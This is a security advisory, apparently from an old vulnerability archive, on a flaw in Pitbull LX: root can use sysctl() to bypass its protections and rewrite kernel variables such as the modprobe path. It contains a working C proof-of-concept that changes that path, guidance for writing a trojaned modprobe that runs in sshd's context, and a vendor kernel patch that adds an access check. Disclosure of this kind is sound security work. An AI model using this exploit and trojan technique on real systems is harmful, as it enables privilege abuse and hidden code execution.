COMMAND

    Pitbull LX

SYSTEMS AFFECTED

    Pitbull LX (Pitbull For Linux), All versions

PROBLEM

    Roland  Postle  posted  following.   The  vulnerability stems from
    Pitbull LX's failure to  apply it's enhanced security  features to
    all the kernel variables  made available in /proc/sys/.   Although
    the file-system will restrict access to the /proc/sys/  directory,
    all  these  variables  can  be  accessed through calls to sysctl()
    which only checks a  processes standard unix credentials.   Almost
    all the variables are mode 644 or  444.  So any user can read  the
    kernel variables  and a  root user  can modify  many of  them.   A
    process with uid 0, can  thus bypass Pitbull and modify  some very
    sensitive kernel data.  (If that last statement makes your  wonder
    what the problem is remember that "root means nothing on a Pitbull
    system".)

    By  modifying  kernel  variables  such  as MaxFiles, MaxInodes and
    numerous virtual memory settings system instability can be  caused
    but much more  worringly ModProbePath can  be altered to  point to
    malicous code.   When modprobe is  next execd in  order to load  a
    module,  the  malicous  code  will  be  executed  in  the security
    context of the  process which requested  the module.   This may be
    another user, init or sshd for example. Init and sshd run  without
    the ASG_AWARE flag,  so they are  immune to all  pitbull security.
    Fortunately all  kernel variables  are reset  at startup  which is
    when the majority of modules are loaded by init (ie. Before a user
    has  chance  to  modify  modprobepath).   However  sshd will often
    attempt to load terminal emulation/character set modules everytime
    a user connects to it.

    The following program will modify modprobe's path:

    #include <linux/unistd.h>
    #include <linux/types.h>
    #include <linux/sysctl.h>

    _syscall1(int, _sysctl, struct __sysctl_args *, args);
    int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval,
    size_t newlen) {
        struct __sysctl_args
        args = {name, nlen, oldval, oldlenp, newval, newlen};
        return _sysctl(&args);
    }

    int variablename[] = { CTL_KERN, KERN_MODPROBE };

    char oldpath[512];
    int oldpathlen = 512;
    char path[512];
    int pathlen = 512;

    int main(int argc, char *argv[]) {
        if(argc < 2) {
            printf("Usage: %s NewModprobePath", argv[0]);
            exit(0);
        }

        // Read kernel variable
        sysctl(variablename, 2, oldpath, &oldpathlen, NULL, 0);

        // Write kernel variable
        sysctl(variablename, 2, path, &pathlen, argv[1], strlen(argv[1]));

        printf("Old Path: %s, New Path %s\n", oldpath, argv[1]);

        return 0;
    }

    The trojaned modprobe  should call the  real modprobe (usually  in
    /sbin/modprobe)  with  identical  arguments  except  that  argv[0]
    _must_  be  "modprobe"  (or  possibly  "insmod")  or else modprobe
    claims it is  being impersonated.   This will ensure  the relevant
    module still get's loaded.

SOLUTION

    Below is unofficial response.   As Roland mentioned, he located  a
    misconfiguration in our integration  of the PitBull LX  technology
    into  the  'sysctl'  system  call.   This  system  call  makes   a
    permission to see if a user can access its functionality. 'sysctl'
    allows a  'root' user  to modify  the modprobe  kernel parameters.
    Therefore, a user must first become root in order to exploit this.
    In order to fix this problem, a simple security flag access  check
    needs  to  be  added  to  this  system  call.  Once in place, this
    ability will  no longer  be available  to attackers  who are being
    restricted by the PitBull LX technology.

    Following is a source patch to the linux-2.2.16-argus source tree.
    This      patch      requires       the      installation       of
    argus_kernel-source-1.0-2.2.16.i386.rpm.   This  package  can   be
    found in the product directory of the installation CD.

    diff -Nur linux-2.2.16/kernel/sysctl.c linux-2.2.16-argus/kernel/sysctl.c
    --- linux-2.2.16/kernel/sysctl.c	Fri Mar 30 15:22:03 2001
    +++ linux-2.2.16-argus/kernel/sysctl.c	Fri Mar 30 18:45:58 2001
    @@ -1,4 +1,14 @@
     /*
    + * Portions of this code Copyright (c) 2000-2001 by Argus Systems Group, Inc.
    + *
    + * http://www.argus-systems.com
    + *
    + *
    + *
    + *
    + */
    +
    +/*
      * sysctl.c: General linux system control interface
      *
      * Begun 24 March 1995, Stephen Tweedie
    @@ -29,6 +39,10 @@
     #include <linux/nfs_fs.h>
     #endif
    
    +#ifdef CONFIG_ARGUS
    +#include <linux/secmod.h>
    +#endif /* CONFIG_ARGUS */
    +
     #if defined(CONFIG_SYSCTL)
    
     /* External variables not in a header file. */
    @@ -353,6 +367,14 @@
    
     static int test_perm(int mode, int op)
     {
    +
    +#ifdef CONFIG_ARGUS
    +        if((op == S_IWOTH) && (SECFUNC(SECMOD_RESTRICT_SYS)))
    +        {
    +                return(-EACCES);
    +        }
    +#endif /* CONFIG_ARGUS */
    +
 	    if (!current->euid)
 		    mode >>= 6;
 	    else if (in_egroup_p(0))